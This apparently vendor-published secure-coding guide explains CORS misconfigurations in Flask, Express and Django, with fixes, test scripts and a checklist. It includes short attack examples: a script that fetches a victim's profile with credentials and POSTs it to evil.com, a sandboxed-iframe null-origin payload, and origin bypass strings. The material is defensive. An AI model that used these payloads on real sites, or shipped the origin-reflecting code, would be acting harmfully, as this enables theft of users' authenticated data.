Understanding CORS
Cross-Origin Resource Sharing (CORS) allows web applications to make requests to domains other than their own. Browsers enforce the Same-Origin Policy, and CORS provides a controlled way to relax these restrictions.
Two URLs have the same origin if they share the same protocol, host, and port:
https://example.com/page1 Same origin as
https://example.com/page2 ✓
https://example.com Different from
http://example.com ✗ (different protocol)
https://api.example.com ✗ (different host)
Dangerous CORS Configurations
1. Reflecting the Origin Header
The most critical misconfiguration reflects any origin in the Access-Control-Allow-Origin header:
# DANGEROUS: Reflects any origin
@app.route('/api/data')
def get_data():
response = make_response(jsonify(data))
origin = request.headers.get('Origin')
response.headers['Access-Control-Allow-Origin'] = origin # Whatever sent!
response.headers['Access-Control-Allow-Credentials'] = 'true'
return responseAttack:
<!-- Attacker's page at https://evil.com -->
<script>
fetch('https://vulnerable-api.com/api/user/profile', {
credentials: 'include'
})
.then(r => r.json())
.then(data => fetch('https://evil.com/steal', {method: 'POST', body: JSON.stringify(data)}));
</script>2. Null Origin Allowance
# DANGEROUS: Allows null origin
allowed_origins = ['https://app.example.com', 'null']Attackers can send requests with Origin: null using sandboxed iframes:
<iframe sandbox="allow-scripts" srcdoc="
<script>
fetch('https://vulnerable-api.com/api/data', {credentials: 'include'})
.then(r => r.text())
.then(data => parent.postMessage(data, '*'));
</script>
"></iframe>3. Regex Bypass Vulnerabilities
# VULNERABLE: Weak regex
if re.match(r'https://.*\.example\.com', origin):
return True
# Bypass: https://evil.example.com.attacker.com
# VULNERABLE: Substring matching
if 'example.com' in origin:
return True
# Bypass: https://example.com.evil.comProper Origin Validation
Strict Allowlist
ALLOWED_ORIGINS = {
'https://app.example.com',
'https://admin.example.com'
}
def cors_headers(f):
@wraps(f)
def decorated(*args, **kwargs):
response = f(*args, **kwargs)
origin = request.headers.get('Origin')
if origin in ALLOWED_ORIGINS:
response.headers['Access-Control-Allow-Origin'] = origin
response.headers['Access-Control-Allow-Credentials'] = 'true'
response.headers['Vary'] = 'Origin'
return response
return decoratedSafe Subdomain Matching
from urllib.parse import urlparse
def is_valid_origin(origin):
if not origin:
return False
try:
parsed = urlparse(origin)
if parsed.scheme != 'https':
return False
allowed_domains = {'app.example.com', 'admin.example.com'}
if parsed.netloc in allowed_domains:
return True
# Safe subdomain pattern
if re.match(r'^[a-z0-9-]+\.example\.com$', parsed.netloc):
return True
return False
except:
return FalseCredential Handling
When Access-Control-Allow-Credentials is true:
- Cannot use wildcard
*forAccess-Control-Allow-Origin - Must specify explicit origin
- Must include
Vary: Originheader
def handle_cors_with_credentials(response, origin):
if origin not in ALLOWED_ORIGINS:
return response
response.headers['Access-Control-Allow-Origin'] = origin
response.headers['Access-Control-Allow-Credentials'] = 'true'
response.headers['Access-Control-Allow-Headers'] = 'Content-Type, Authorization'
response.headers['Vary'] = 'Origin'
return responseFramework Examples
Express.js
const cors = require('cors');
const corsOptions = {
origin: function (origin, callback) {
const allowedOrigins = ['https://app.example.com', 'https://admin.example.com'];
if (!origin || allowedOrigins.includes(origin)) {
callback(null, true);
} else {
callback(new Error('CORS policy violation'));
}
},
credentials: true,
methods: ['GET', 'POST', 'PUT', 'DELETE']
};
app.use(cors(corsOptions));Django
# settings.py
CORS_ALLOWED_ORIGINS = [
'https://app.example.com',
'https://admin.example.com',
]
CORS_ALLOW_CREDENTIALS = TrueTesting CORS
# Test arbitrary origin reflection
curl -H "Origin: https://evil.com" \
-s https://api.example.com/data | grep -i "access-control"
# Test null origin
curl -H "Origin: null" \
-s https://api.example.com/data | grep -i "access-control"def test_cors_config(url):
tests = [
('Arbitrary origin', 'https://evil.com'),
('Null origin', 'null'),
('Subdomain bypass', 'https://evil.example.com.attacker.com'),
]
for name, origin in tests:
r = requests.options(url, headers={'Origin': origin})
returned = r.headers.get('Access-Control-Allow-Origin')
credentials = r.headers.get('Access-Control-Allow-Credentials', '').lower() == 'true'
if returned == origin and credentials:
print(f"[VULNERABLE] {name}: {returned}")Security Checklist
- Use explicit origin allowlist instead of reflection
- Never allow
nullorigin with credentials - Never use wildcard
*with credentials - Validate origins using exact string matching
- Always include
Vary: Originheader - Review CORS config for each environment
Automated CORS Security Testing
CORS misconfigurations can be subtle and easily introduced during development. The combination of origin reflection and credential allowance creates exploitable vulnerabilities that are often missed in code review.
RedVeil's AI-powered penetration testing platform automatically tests your CORS implementation against known bypass techniques, including origin reflection, null origin exploitation, and regex bypasses. Each finding includes proof-of-concept evidence demonstrating how the misconfiguration could be exploited.